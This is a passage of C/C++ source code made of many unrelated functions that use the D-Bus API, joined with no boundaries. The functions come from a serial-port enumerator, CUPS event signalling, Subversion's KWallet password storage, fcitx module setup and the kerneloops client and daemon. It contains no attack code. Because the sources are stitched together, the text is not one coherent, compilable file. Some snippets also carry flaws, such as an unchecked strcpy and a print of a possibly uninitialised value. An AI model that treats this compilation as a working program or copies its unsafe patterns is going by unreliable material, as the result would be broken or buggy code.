if (NULL == p_dbusrecv_hdl->dbusloop)
{
printf("%s: No memory, p_dbusrecv_hdl->dbusloop\n", __FILE__);
retval = -1;
goto ERROR;
}
if (!test_connection_setup (p_dbusrecv_hdl->dbusloop, p_dbusrecv_hdl->connection))
{
printf("%s: No memory, test_connection_setup\n", __FILE__);
retval = -1;
goto ERROR;
}
/*
match options:
type
interface;
member;
sender;
destination;
path;
*/
#if 0
memset(rules, 0x0, sizeof(rules));
sprintf(rules, "type='signal', interface='%s'", p_dbusrecv_hdl->dbusrecv_cfg.interface);
dbus_bus_add_match (p_dbusrecv_hdl->connection, rules, &p_dbusrecv_hdl->error);
if (dbus_error_is_set (&p_dbusrecv_hdl->error))
{
printf("%s: add match(%s) failed\n", __FILE__, rules);
retval = -1;
goto ERROR;
}
memset(rules, 0x0, sizeof(rules));
sprintf(rules, "type='signal', interface='org.actiontec.Test'");
dbus_bus_add_match (p_dbusrecv_hdl->connection, rules, &p_dbusrecv_hdl->error);
if (dbus_error_is_set (&p_dbusrecv_hdl->error))
{
printf("%s: add match(%s) failed\n", __FILE__, rules);
retval = -1;
goto ERROR;
}
#endif
if (!dbus_connection_add_filter(p_dbusrecv_hdl->connection, p_dbusrecv_hdl->filter_func, (void *)p_dbusrecv_hdl, NULL))
{
printf("%s: No memory, dbus_connection_add_filter\n", __FILE__);
retval = -1;
goto ERROR;
}
p_dbusrecv_hdl->is_addfilter = 1;
if (!dbus_connection_register_object_path (p_dbusrecv_hdl->connection,
DBUS_DEFAULT_PATH,
&dbusrecv_vtable,
(void *)p_dbusrecv_hdl))
//(void*) 0xdeadbeef))
{
printf("%s: No memory, dbus_connection_register_object_path\n", __FILE__);
retval = -1;
goto ERROR;
}
{
void *d;
if (!dbus_connection_get_object_path_data (p_dbusrecv_hdl->connection, DBUS_DEFAULT_PATH, &d))
{
printf("%s: No memory, dbus_connection_get_object_path_data\n", __FILE__);
retval = -1;
goto ERROR;
}
//if (d != (void*) 0xdeadbeef)
if (d != (void*) p_dbusrecv_hdl)
{
printf("%s: dbus_connection_get_object_path_data() doesn't seem to work right\n", __FILE__);
retval = -1;
goto ERROR;
}
}
result = dbus_bus_request_name(p_dbusrecv_hdl->connection, myname, 0, &p_dbusrecv_hdl->error);
if (dbus_error_is_set (&p_dbusrecv_hdl->error))
{
printf("%s: Failed to acquire service: %s\n", __FILE__, p_dbusrecv_hdl->error.message);
retval = -1;
goto ERROR;
}
//_dbus_verbose("%s: service(%s) entering main loop!\n", __FILE__, myname);
//_dbus_loop_run(p_dbusrecv_hdl->dbusloop);
retval = 0;
ERROR:
if (-1 == retval)
{
dbus_error_free (&p_dbusrecv_hdl->error);
if (p_dbusrecv_hdl->connection)
{
test_connection_shutdown (p_dbusrecv_hdl->dbusloop, p_dbusrecv_hdl->connection);
if (p_dbusrecv_hdl->is_addfilter)
dbus_connection_remove_filter (p_dbusrecv_hdl->connection, p_dbusrecv_hdl->filter_func, NULL);//
dbus_connection_unref (p_dbusrecv_hdl->connection);
p_dbusrecv_hdl->connection = NULL;
}
if (p_dbusrecv_hdl->dbusloop)
{
_dbus_loop_unref (p_dbusrecv_hdl->dbusloop);
p_dbusrecv_hdl->dbusloop = NULL;
}
dbus_shutdown();
_dbus_verbose("%s: service(%s) exiting!\n", __FILE__, myname);
return NULL;
}
return p_dbusrecv_hdl;
}
std::map<int, std::pair<std::string, std::string> > SerialPortEnumerator::getPorts()
{
std::map<int, std::pair<std::string, std::string> > ports;
#ifdef MACOSX
// use IOKit to enumerates devices
// get a matching dictionary to specify which IOService class we're interested in
CFMutableDictionaryRef classesToMatch = IOServiceMatching(kIOSerialBSDServiceValue);
if (classesToMatch == NULL)
throw DashelException(DashelException::EnumerationError, 0, "IOServiceMatching returned a NULL dictionary");
// specify all types of serial devices
CFDictionarySetValue(classesToMatch, CFSTR(kIOSerialBSDTypeKey), CFSTR(kIOSerialBSDAllTypes));
// get an iterator to serial port services
io_iterator_t matchingServices;
kern_return_t kernResult = IOServiceGetMatchingServices(kIOMasterPortDefault, classesToMatch, &matchingServices);
if (KERN_SUCCESS != kernResult)
throw DashelException(DashelException::EnumerationError, kernResult, "IOServiceGetMatchingServices failed");
// iterate over services
io_object_t modemService;
int index = 0;
while((modemService = IOIteratorNext(matchingServices)))
{
// get path for device
CFTypeRef bsdPathAsCFString = IORegistryEntryCreateCFProperty(modemService, CFSTR(kIOCalloutDeviceKey), kCFAllocatorDefault, 0);
if (bsdPathAsCFString)
{
std::string path;
char cStr[255];
std::string name;
bool res = CFStringGetCString((CFStringRef) bsdPathAsCFString, cStr, 255, kCFStringEncodingUTF8);
if(res)
path = cStr;
else
throw DashelException(DashelException::EnumerationError, 0, "CFStringGetCString failed");
CFRelease(bsdPathAsCFString);
CFTypeRef fn = IORegistryEntrySearchCFProperty(modemService, kIOServicePlane, CFSTR("USB Product Name"), kCFAllocatorDefault,
kIORegistryIterateRecursively | kIORegistryIterateParents);
if(fn) {
res = CFStringGetCString((CFStringRef) fn, cStr, 255, kCFStringEncodingUTF8);
if(res)
name = cStr;
else
throw DashelException(DashelException::EnumerationError, 0, "CFStringGetString failed");
CFRelease(fn);
} else
name = "Serial Port";
name = name + " (" + path + ")";
ports[index++] = std::make_pair<std::string, std::string>(path, name);
}
else
throw DashelException(DashelException::EnumerationError, 0, "IORegistryEntryCreateCFProperty returned a NULL path");
// release service
IOObjectRelease(modemService);
}
IOObjectRelease(matchingServices);
#elif defined(USE_LIBUDEV)
struct udev *udev;
struct udev_enumerate *enumerate;
struct udev_list_entry *devices, *dev_list_entry;
struct udev_device *dev;
int index = 0;
udev = udev_new();
if(!udev)
throw DashelException(DashelException::EnumerationError, 0, "Cannot create udev context");
enumerate = udev_enumerate_new(udev);
udev_enumerate_add_match_subsystem(enumerate, "tty");
udev_enumerate_scan_devices(enumerate);
devices = udev_enumerate_get_list_entry(enumerate);
udev_list_entry_foreach(dev_list_entry, devices) {
const char *sysfs_path;
struct udev_device *usb_dev;
const char * path;
struct stat st;
unsigned int maj,min;
/* Get sysfs path and create the udev device */
sysfs_path = udev_list_entry_get_name(dev_list_entry);
dev = udev_device_new_from_syspath(udev, sysfs_path);
// Some sanity check
path = udev_device_get_devnode(dev);
if(stat(path, &st))
throw DashelException(DashelException::EnumerationError, 0, "Cannot stat serial port");
if(!S_ISCHR(st.st_mode))
throw DashelException(DashelException::EnumerationError, 0, "Serial port is not character device");
// Get the major/minor number
maj = major(st.st_rdev);
min = minor(st.st_rdev);
// Ignore all the non physical ports
if(!(maj == 2 || (maj == 4 && min < 64) || maj == 3 || maj == 5)) {
ostringstream oss;
// Check if usb, if yes get the device name
usb_dev = udev_device_get_parent_with_subsystem_devtype(dev,"usb","usb_device");
if(usb_dev)
oss << udev_device_get_sysattr_value(usb_dev,"product");
else
oss << "Serial Port";
oss << " (" << path << ")";
ports[index++] = std::make_pair<std::string, std::string>(path,oss.str());
}
udev_device_unref(dev);
}
udev_enumerate_unref(enumerate);
udev_unref(udev);
#elif defined(USE_HAL)
// use HAL to enumerates devices
DBusConnection* dbusConnection = dbus_bus_get(DBUS_BUS_SYSTEM, 0);
if (!dbusConnection)
throw DashelException(DashelException::EnumerationError, 0, "cannot connect to D-BUS.");
LibHalContext* halContext = libhal_ctx_new();
if (!halContext)
throw DashelException(DashelException::EnumerationError, 0, "cannot create HAL context: cannot create context");
if (!libhal_ctx_set_dbus_connection(halContext, dbusConnection))
throw DashelException(DashelException::EnumerationError, 0, "cannot create HAL context: cannot connect to D-BUS");
if (!libhal_ctx_init(halContext, 0))
throw DashelException(DashelException::EnumerationError, 0, "cannot create HAL context: cannot init context");
int devicesCount;
char** devices = libhal_find_device_by_capability(halContext, "serial", &devicesCount, 0);
for (int i = 0; i < devicesCount; i++)
{
char* devFileName = libhal_device_get_property_string(halContext, devices[i], "serial.device", 0);
char* info = libhal_device_get_property_string(halContext, devices[i], "info.product", 0);
int port = libhal_device_get_property_int(halContext, devices[i], "serial.port", 0);
ostringstream oss;
oss << info << " " << port;
ports[devicesCount - i] = std::make_pair<std::string, std::string>(devFileName, oss.str());
libhal_free_string(info);
libhal_free_string(devFileName);
}
libhal_free_string_array(devices);
libhal_ctx_shutdown(halContext, 0);
libhal_ctx_free(halContext);
#endif
return ports;
};
void listen_signal()
{
DBusMessage * msg;
DBusMessageIter arg;
DBusConnection * connection;
DBusError err;
int ret;
char * sigvalue;
//步骤1:建立与D-Bus后台的连接
dbus_error_init(&err);
connection = dbus_bus_get(DBUS_BUS_SESSION, &err);
if(dbus_error_is_set(&err)){
fprintf(stderr,"Connection Error %s/n",err.message);
dbus_error_free(&err);
}
if(connection == NULL){
printf("connection is NULL.\n");
return;
}
//步骤2:给连接名分配一个可记忆名字test.singal.dest作为Bus name，这个步骤不是必须的,但推荐这样处理
/*
ret = dbus_bus_request_name(connection,"test.singal.dest",DBUS_NAME_FLAG_REPLACE_EXISTING,&err);
if(dbus_error_is_set(&err)){
fprintf(stderr,"Name Error %s/n",err.message);
dbus_error_free(&err);
}
if(ret != DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER){
printf("dbus request name is not primary owner.\n");
return;
}
*/
//步骤3:通知D-Bus daemon，希望监听来行接口test.signal.Type的信号
dbus_bus_add_match(connection,"type='signal',interface='test.signal.Type'",&err);
//实际需要发送东西给daemon来通知希望监听的内容，所以需要flush
dbus_connection_flush(connection);
if(dbus_error_is_set(&err)){
fprintf(stderr,"Match Error %s/n",err.message);
dbus_error_free(&err);
}
//步骤4:在循环中监听，每隔开1秒，就去试图自己的连接中获取这个信号。这里给出的是中连接中获取任何消息的方式，所以获取后去检查一下这个消息是否我们期望的信号，并获取内容。我们也可以通过这个方式来获取method call消息。
gint cnt = 0;
while(1){
dbus_connection_read_write(connection,0);
msg = dbus_connection_pop_message (connection);
if(msg == NULL){
sleep(1);
//printf("cnt:%d\n", cnt++);
continue;
}
printf("message type: %d\n", dbus_message_get_type(msg));
printf("message member: %s\n", dbus_message_get_member(msg));
if(dbus_message_is_signal(msg,"test.signal.Type","Test") ){
if(!dbus_message_iter_init(msg,&arg) )
fprintf(stderr,"Message Has no Param");
else if(dbus_message_iter_get_arg_type(&arg) != DBUS_TYPE_STRING)
g_printerr("Param is not string");
else
dbus_message_iter_get_basic(&arg,&sigvalue);
printf("Got Singal with value : %s\n",sigvalue);
}
dbus_message_unref(msg);
}//End of while
printf("end of receiver.");
}
static void
cupsd_send_dbus(cupsd_eventmask_t event,/* I - Event to send */
cupsd_printer_t *dest,/* I - Destination, if any */
cupsd_job_t *job) /* I - Job, if any */
{
DBusError error; /* Error, if any */
DBusMessage *message; /* Message to send */
DBusMessageIter iter; /* Iterator for message data */
const char *what; /* What to send */
static DBusConnection *con = NULL; /* Connection to DBUS server */
/*
* Figure out what to send, if anything...
*/
if (event & CUPSD_EVENT_PRINTER_ADDED)
what = "PrinterAdded";
else if (event & CUPSD_EVENT_PRINTER_DELETED)
what = "PrinterRemoved";
else if (event & CUPSD_EVENT_PRINTER_CHANGED)
what = "QueueChanged";
else if (event & CUPSD_EVENT_JOB_CREATED)
what = "JobQueuedLocal";
else if ((event & CUPSD_EVENT_JOB_STATE) && job &&
job->state_value == IPP_JOB_PROCESSING)
what = "JobStartedLocal";
else
return;
/*
* Verify connection to DBUS server...
*/
if (con && !dbus_connection_get_is_connected(con))
{
dbus_connection_unref(con);
con = NULL;
}
if (!con)
{
dbus_error_init(&error);
con = dbus_bus_get(getuid() ? DBUS_BUS_SESSION : DBUS_BUS_SYSTEM, &error);
if (!con)
{
dbus_error_free(&error);
return;
}
}
/*
* Create and send the new message...
*/
message = dbus_message_new_signal("/com/redhat/PrinterSpooler",
"com.redhat.PrinterSpooler", what);
dbus_message_append_iter_init(message, &iter);
if (dest)
dbus_message_iter_append_string(&iter, dest->name);
if (job)
{
dbus_message_iter_append_uint32(&iter, job->id);
dbus_message_iter_append_string(&iter, job->username);
}
dbus_connection_send(con, message, NULL);
dbus_connection_flush(con);
dbus_message_unref(message);
}
/*
* Receive the signals from the bus
*/
void receive()
{
DBusMessage *msg;
DBusMessageIter iter;
DBusConnection *conn;
DBusError err;
int ret;
Item *item = (Item *)malloc(sizeof(Item));
if (item == NULL)
{
exit(1);
}
char *s = (char *)malloc(512 * sizeof(char));
if (s == NULL)
{
exit(1);
}
printf("Listening for signals\n");
// initialize the errors
dbus_error_init(&err);
// connect to the bus and check for errors
conn = dbus_bus_get(DBUS_BUS_SESSION, &err);
if (dbus_error_is_set(&err))
{
fprintf(stderr, "Connection Error (%s)\n", err.message);
dbus_error_free(&err);
}
if (conn == NULL)
{
exit(1);
}
// request our name on the bus and check for errors
ret = dbus_bus_request_name(conn, "queue.msg.receiver", DBUS_NAME_FLAG_REPLACE_EXISTING , &err);
if (dbus_error_is_set(&err))
{
fprintf(stderr, "Name Error (%s)\n", err.message);
dbus_error_free(&err);
}
if (DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER != ret)
{
exit(1);
}
// add a rule for which messages we want to see
// see signals from the given interface
dbus_bus_add_match(conn, "interface='queue.msg.Handler'", &err);
dbus_connection_flush(conn);
if (dbus_error_is_set(&err))
{
fprintf(stderr, "Match Error (%s)\n", err.message);
exit(1);
}
// loop listening for signals being emmitted
while (1)
{
// non blocking read of the next available message
dbus_connection_read_write(conn, 0);
msg = dbus_connection_pop_message(conn);
// loop again if we haven't read a message
if (msg == NULL)
{
sleep(1);
continue;
}
// signals for adding
// check if the message is a signal from the correct interface and with the correct name
if (dbus_message_is_signal(msg, "queue.msg.Handler", "Add"))
{
// read the parameters
if (!dbus_message_iter_init(msg, &iter))
{
fprintf(stderr, "Message Has No Parameters\n");
}
else
{
dbus_uint32_t v;
dbus_message_iter_get_basic(&iter, &s);
strcpy(item->name, s);
dbus_message_iter_next(&iter); // moves the iter to read next param
dbus_message_iter_get_basic(&iter, &v);
item->value = v;
}
int n = random_add_items(queue, item);
if (n != -1)
{
printf("Added an item with name \"%s\" valued (%d) at position (%d)\n",
item->name, item->value, n);
}
else
{
exit(1);
}
}
// methods for removing
// check if the message is a method call from the correct interface and with the correct name
else if (dbus_message_is_method_call(msg, "queue.msg.Handler", "Remove"))
{
int n = random_remove_items(queue);
if (n != -1)
{
printf("Removed an item from position (%d)\n", n);
}
else
{
exit(1);
}
}
// free the message
dbus_message_unref(msg);
}
// free the item
free(item);
item = NULL;
// free the s
free(s);
s = NULL;
}
/* Implementation of svn_auth__password_set_t that stores
the password in KWallet. */
static svn_error_t *
kwallet_password_set(svn_boolean_t *done,
apr_hash_t *creds,
const char *realmstring,
const char *username,
const char *password,
apr_hash_t *parameters,
svn_boolean_t non_interactive,
apr_pool_t *pool)
{
QString wallet_name = get_wallet_name(parameters);
*done = FALSE;
if (! dbus_bus_get(DBUS_BUS_SESSION, NULL))
{
return SVN_NO_ERROR;
}
if (non_interactive)
{
if (!KWallet::Wallet::isOpen(wallet_name))
return SVN_NO_ERROR;
/* There is a race here: the wallet was open just now, but will
it still be open when we come to use it below? */
}
QCoreApplication *app;
if (! qApp)
{
int argc = q_argc;
app = new QCoreApplication(argc, q_argv);
}
KCmdLineArgs::init(q_argc, q_argv,
get_application_name(parameters, pool),
"subversion",
ki18n(get_application_name(parameters, pool)),
SVN_VER_NUMBER,
ki18n("Version control system"),
KCmdLineArgs::CmdLineArgKDE);
KComponentData component_data(KCmdLineArgs::aboutData());
QString q_password = QString::fromUtf8(password);
QString folder = QString::fromUtf8("Subversion");
KWallet::Wallet *wallet = get_wallet(wallet_name, parameters);
if (wallet)
{
if (! wallet->hasFolder(folder))
{
wallet->createFolder(folder);
}
if (wallet->setFolder(folder))
{
QString key = QString::fromUtf8(username) + "@"
+ QString::fromUtf8(realmstring);
if (wallet->writePassword(key, q_password) == 0)
{
*done = TRUE;
}
}
}
return SVN_NO_ERROR;
}
void* DBusCreate(FcitxInstance* instance)
{
FcitxDBus *dbusmodule = (FcitxDBus*) fcitx_utils_malloc0(sizeof(FcitxDBus));
FcitxAddon* dbusaddon = FcitxAddonsGetAddonByName(FcitxInstanceGetAddons(instance), FCITX_DBUS_NAME);
dbusmodule->owner = instance;
DBusError err;
if (FcitxInstanceIsTryReplace(instance)) {
fcitx_utils_launch_tool("fcitx-remote", "-e");
sleep(1);
}
dbus_threads_init_default();
// first init dbus
dbus_error_init(&err);
int retry = 0;
DBusConnection* conn = NULL;
char* servicename = NULL;
asprintf(&servicename, "%s-%d", FCITX_DBUS_SERVICE,
fcitx_utils_get_display_number());
/* do session dbus initialize */
do {
if (!getenv("DISPLAY") && !getenv("DBUS_SESSION_BUS_ADDRESS")) {
FcitxLog(WARNING, "Without DISPLAY or DBUS_SESSION_BUS_ADDRESS session bus will not work");
break;
}
/* try to get session dbus */
while (1) {
conn = dbus_bus_get(DBUS_BUS_SESSION, &err);
if (dbus_error_is_set(&err)) {
FcitxLog(WARNING, "Connection Error (%s)", err.message);
dbus_error_free(&err);
dbus_error_init(&err);
}
if (NULL == conn && retry < MAX_RETRY_TIMES) {
retry ++;
sleep(RETRY_INTERVAL * retry);
} else {
break;
}
}
if (NULL == conn) {
break;
}
if (!dbus_connection_add_filter(conn, DBusModuleFilter, dbusmodule, NULL))
break;
if (!dbus_connection_set_watch_functions(conn, DBusAddWatch, DBusRemoveWatch,
NULL, &dbusmodule->watches, NULL)) {
FcitxLog(WARNING, "Add Watch Function Error");
dbus_error_free(&err);
dbus_error_init(&err);
dbus_connection_unref(conn);
conn = NULL;
break;
}
/* from here we know dbus connection is successful, now we need to register the service */
dbus_connection_set_exit_on_disconnect(conn, FALSE);
dbusmodule->conn = conn;
boolean request_retry = false;
int replaceCountdown = FcitxInstanceIsTryReplace(instance) ? 3 : 0;
FcitxInstanceResetTryReplace(instance);
do {
request_retry = false;
// request a name on the bus
int ret = dbus_bus_request_name(conn, servicename,
DBUS_NAME_FLAG_DO_NOT_QUEUE,
&err);
if (dbus_error_is_set(&err)) {
FcitxLog(WARNING, "Name Error (%s)", err.message);
goto dbus_init_failed;
}
if (DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER != ret) {
FcitxLog(WARNING, "DBus Service Already Exists");
if (replaceCountdown > 0) {
replaceCountdown --;
fcitx_utils_launch_tool("fcitx-remote", "-e");
/* sleep for a while and retry */
sleep(1);
request_retry = true;
continue;
}
/* if we know fcitx exists, we should exit. */
dbus_error_free(&err);
free(servicename);
free(dbusmodule);
FcitxInstanceEnd(instance);
return NULL;
}
} while (request_retry);
dbus_connection_flush(dbusmodule->conn);
} while(0);
DBusConnection* privconn = NULL;
do {
int noPrivateDBus = fcitx_utils_get_boolean_env("FCITX_NO_PRIVATE_DBUS", false);
if (noPrivateDBus)
break;
char* file;
FILE* dbusfp = FcitxXDGGetFileWithPrefix("dbus", "daemon.conf", "r", &file);
if (dbusfp) {
fclose(dbusfp);
}
else {
free(file);
file = NULL;
}
dbusmodule->daemon = DBusLaunch(file);
fcitx_utils_free(file);
if (dbusmodule->daemon.pid == 0)
break;
privconn = dbus_connection_open(dbusmodule->daemon.address, &err);
if (dbus_error_is_set(&err)) {
FcitxLog(ERROR, "Private dbus daemon connection error (%s)",
err.message);
break;
}
dbus_bus_register(privconn, &err);
if (dbus_error_is_set(&err)) {
FcitxLog(ERROR, "Private dbus bus register error (%s)", err.message);
break;
}
int ret = dbus_bus_request_name(privconn, servicename,
DBUS_NAME_FLAG_DO_NOT_QUEUE,
&err);
if (dbus_error_is_set(&err)) {
FcitxLog(WARNING, "Private Name Error (%s)", err.message);
break;
}
if (DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER != ret) {
FcitxLog(ERROR, "Private DBus Service Already Exists, fcitx being hacked?");
break;
}
if (!dbus_connection_add_filter(privconn, DBusModuleFilter, dbusmodule, NULL))
break;
if (!dbus_connection_set_watch_functions(privconn, DBusAddWatch, DBusRemoveWatch,
NULL, &dbusmodule->watches, NULL)) {
FcitxLog(WARNING, "Add Watch Function Error");
break;
}
char* addressFile = NULL;
char* localMachineId = dbus_get_local_machine_id();
asprintf(&addressFile, "%s-%d", localMachineId,
fcitx_utils_get_display_number());
dbus_free(localMachineId);
FILE* fp = FcitxXDGGetFileUserWithPrefix("dbus", addressFile, "w", NULL);
free(addressFile);
if (!fp)
break;
fprintf(fp, "%s", dbusmodule->daemon.address);
fwrite("\0", sizeof(char), 1, fp);
pid_t curPid = getpid();
fwrite(&dbusmodule->daemon.pid, sizeof(pid_t), 1, fp);
fwrite(&curPid, sizeof(pid_t), 1, fp);
fclose(fp);
dbusmodule->privconn = privconn;
char* command = fcitx_utils_get_fcitx_path_with_filename("bindir", "/fcitx-dbus-watcher");
char* pidstring = NULL;
asprintf(&pidstring, "%d", dbusmodule->daemon.pid);
char* args[] = {
command,
dbusmodule->daemon.address,
pidstring,
NULL
};
fcitx_utils_start_process(args);
free(command);
free(pidstring);
} while(0);
if (!dbusmodule->privconn) {
if (privconn) {
dbus_connection_unref(privconn);
DBusKill(&dbusmodule->daemon);
}
}
FcitxModuleAddFunction(dbusaddon, DBusGetConnection);
FcitxModuleAddFunction(dbusaddon, DBusGetPrivateConnection);
dbus_error_free(&err);
dbusmodule->serviceName = servicename;
return dbusmodule;
dbus_init_failed:
dbus_error_free(&err);
fcitx_utils_free(servicename);
if (conn)
dbus_connection_unref(conn);
DBusKill(&dbusmodule->daemon);
fcitx_utils_free(dbusmodule);
return NULL;
}
void listen_signal()
{
DBusMessage *msg;
DBusMessageIter arg;
DBusConnection *connection;
DBusError err;
int ret;
char *sigvalue;
//step 1. connect DBus
dbus_error_init(&err);
connection = dbus_bus_get(DBUS_BUS_SESSION, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Connection Error %s\n", err.message);
dbus_error_free(&err);
}
if (connection == NULL) {
return;
}
//step 2. [OPTION] Assign a known name for connection
ret = dbus_bus_request_name(connection, "test.singal.dest", DBUS_NAME_FLAG_REPLACE_EXISTING, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Name Error %s\n", err.message);
dbus_error_free(&err);
}
if (ret != DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER) {
return ;
}
//step 3. Notify DBus daemon, listen test.signal.Type signal
dbus_bus_add_match(connection, "type='signal', interface='test.signal.Type'", &err);
dbus_connection_flush(connection);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Match Error %s\n", err.message);
dbus_error_free(&err);
}
//step 4. listen in loop per 1s.
while (1) {
dbus_connection_read_write(connection, 0);
msg = dbus_connection_pop_message(connection);
if (msg == NULL) {
sleep(1);
continue;
}
if (dbus_message_is_signal(msg, "test.signal.Type", "Test")) {
if (!dbus_message_iter_init(msg, &arg)) {
fprintf(stderr, "Message Has no Param");
} else if (dbus_message_iter_get_arg_type(&arg) != DBUS_TYPE_STRING) {
g_printerr("Param is not string");
} else {
dbus_message_iter_get_basic(&arg, &sigvalue);
printf("Got singal with value: %s\n", sigvalue);
}
}
dbus_message_unref(msg);
}//End of while
}
void listen_and_forward(char *my_name) {
DBusMessage* msg;
DBusMessage* reply;
DBusMessageIter args;
DBusConnection* conn;
DBusError err;
int ret;
char* param;
// printf("listen_and_forward-----coming into server init\n");
// initialise the error
dbus_error_init(&err);
// connect to the bus and check for errors
conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Connection Error (%s)\n", err.message);
dbus_error_free(&err);
}
if (NULL == conn) {
fprintf(stderr, "Connection Null\n");
exit(1);
}
// request our name on the bus and check for errors
char name_[50];
sprintf(name_,"test.method.%s",my_name);
ret = dbus_bus_request_name(conn, name_, DBUS_NAME_FLAG_REPLACE_EXISTING, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Name Error (%s)\n", err.message);
dbus_error_free(&err);
}
if (DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER != ret) {
fprintf(stderr, "Not Primary Owner (%d)\n", ret);
exit(1);
}
// loop, testing for new messages
while (true) {
// non blocking read of the next available message
dbus_connection_read_write(conn, 0);
msg = dbus_connection_pop_message(conn);
// loop again if we haven't got a message
if (NULL == msg) {
sleep(1);
continue;
}
// check this is a method call for the right interface & method
if (dbus_message_is_method_call(msg, "test.method.Type", "Method")){
reply_to_method_call(msg, conn);
sleep(1);
break;
}
// free the message
dbus_message_unref(msg);
}
// close the connection
// dbus_connection_close(conn);
}
int main (int argc, char* argv[])
{
char *servicename = NULL;
char *address = NULL;
DBusMessage* message = NULL;
DBusConnection* conn = NULL;
int c;
int ret = 1;
int messageType = FCITX_DBUS_GET_CURRENT_STATE;
char *imname = NULL;
while ((c = getopt(argc, argv, "chortTeam:")) != -1) {
switch (c) {
case 'o':
messageType = FCITX_DBUS_ACTIVATE;
break;
case 'c':
messageType = FCITX_DBUS_INACTIVATE;
break;
case 'r':
messageType = FCITX_DBUS_RELOAD_CONFIG;
break;
case 't':
case 'T':
messageType = FCITX_DBUS_TOGGLE;
break;
case 'e':
messageType = FCITX_DBUS_EXIT;
break;
case 'm':
messageType = FCITX_DBUS_GET_IM_ADDON;
imname = strdup(optarg);
break;
case 'a':
address = _fcitx_get_address();
if (address) {
printf("%s\n", address);
return 0;
}
else
return 1;
break;
case 'h':
usage(stdout);
return 0;
default:
usage(stderr);
return 1;
break;
}
}
#define CASE(ENUMNAME, MESSAGENAME) \
case FCITX_DBUS_##ENUMNAME: \
message = dbus_message_new_method_call(servicename, FCITX_IM_DBUS_PATH, FCITX_IM_DBUS_INTERFACE, #MESSAGENAME); \
break;
asprintf(&servicename, "%s-%d", FCITX_DBUS_SERVICE, fcitx_utils_get_display_number());
switch(messageType) {
CASE(ACTIVATE, ActivateIM);
CASE(INACTIVATE, InactivateIM);
CASE(RELOAD_CONFIG, ReloadConfig);
CASE(EXIT, Exit);
CASE(TOGGLE, ToggleIM);
CASE(GET_CURRENT_STATE, GetCurrentState);
CASE(GET_IM_ADDON, GetIMAddon);
default:
goto some_error;
};
if (!message) {
goto some_error;
}
address = _fcitx_get_address();
do {
if (!address)
break;
conn = dbus_connection_open(address, NULL);
if (!conn)
break;
if (!dbus_bus_register(conn, NULL)) {
dbus_connection_unref(conn);
conn = NULL;
break;
}
} while(0);
if (!conn) {
conn = dbus_bus_get(DBUS_BUS_SESSION, NULL);
if (!conn) {
goto some_error;
}
dbus_connection_set_exit_on_disconnect(conn, FALSE);
}
if (messageType == FCITX_DBUS_GET_CURRENT_STATE) {
DBusMessage* reply = dbus_connection_send_with_reply_and_block(conn, message, 1000, NULL);
int result = 0;
if (reply && dbus_message_get_args(reply, NULL, DBUS_TYPE_INT32, &result, DBUS_TYPE_INVALID)) {
printf("%d\n", result);
ret = 0;
} else {
fprintf(stderr, "Not get reply\n");
}
}
else if (messageType == FCITX_DBUS_GET_IM_ADDON) {
do {
if (!fcitx_utf8_check_string(imname))
break;
dbus_message_append_args(message, DBUS_TYPE_STRING, &imname, DBUS_TYPE_INVALID);
DBusMessage* reply = dbus_connection_send_with_reply_and_block(conn, message, 1000, NULL);
char *result = NULL;
if (reply && dbus_message_get_args(reply, NULL, DBUS_TYPE_STRING, &result, DBUS_TYPE_INVALID)) {
printf("%s\n", result);
ret = 0;
} else {
fprintf(stderr, "Not get reply\n");
}
} while(0);
} else {
dbus_connection_send(conn, message, NULL);
dbus_connection_flush(conn);
ret = 0;
}
some_error:
if (message)
dbus_message_unref(message);
if (conn)
dbus_connection_unref(conn);
fcitx_utils_free(address);
fcitx_utils_free(servicename);
fcitx_utils_free(imname);
return ret;
}
int main(int argc, char *argv[])
{
DBusError error;
/* Initialize translation stuff */
setlocale(LC_ALL, "");
bindtextdomain("kerneloops", "/usr/share/locale");
textdomain("kerneloops");
gtk_init(&argc, &argv);
/* read the config file early; we may be able to bug out of stuff */
read_config();
/*
* initialize the dbus connection; we want to listen to the system
* bus (which is where all daemons send their messages
*/
dbus_error_init(&error);
bus = dbus_bus_get(DBUS_BUS_SYSTEM, &error);
if (bus == NULL) {
g_printerr(_("Connecting to system bus failed: %s\n"),
error.message);
dbus_error_free(&error);
exit(EXIT_FAILURE);
}
/* hook dbus into the main loop */
dbus_connection_setup_with_g_main(bus, NULL);
statusicon = gtk_status_icon_new_from_file("/usr/share/kerneloops/icon.png");
gtk_status_icon_set_tooltip(statusicon, _("kerneloops client"));
notify_init("kerneloops-ui");
/* by default, don't show our icon */
gtk_status_icon_set_visible(statusicon, FALSE);
/* set the dbus message to listen for */
dbus_bus_add_match(bus, "type='signal',interface='org.kerneloops.submit.permission'", &error);
dbus_bus_add_match(bus, "type='signal',interface='org.kerneloops.submit.sent'", &error);
dbus_bus_add_match(bus, "type='signal',interface='org.kerneloops.submit.url'", &error);
dbus_connection_add_filter(bus, dbus_gotmessage, NULL, NULL);
/*
* if the user said always/never in the config file, let the daemon
* know right away
*/
if (user_preference < 0)
send_permission("never");
if (user_preference > 0)
send_permission("always");
/* send a ping to the userspace daemon to see if it has pending oopses */
trigger_daemon();
gtk_main();
close_notification();
return 0;
}
int main(int argc, char**argv)
{
GMainLoop *loop;
DBusError error;
int godaemon = 1;
/*
* Signal the kernel that we're not timing critical
*/
#ifdef PR_SET_TIMERSLACK
prctl(PR_SET_TIMERSLACK,1000*1000*1000, 0, 0, 0);
#endif
read_config_file("/etc/kerneloops.conf");
if (argc > 1 && strstr(argv[1], "--nodaemon"))
godaemon = 0;
if (argc > 1 && strstr(argv[1], "--debug")) {
printf("Starting kerneloops in debug mode\n");
godaemon = 0;
testmode = 1;
opted_in = 2;
}
if (!opted_in && !testmode) {
fprintf(stderr, " [Inactive by user preference]");
return EXIT_SUCCESS;
}
/*
* the curl docs say that we "should" call curl_global_init early,
* even though it'll be called later on via curl_easy_init().
* We ignore this advice, since 99.99% of the time this program
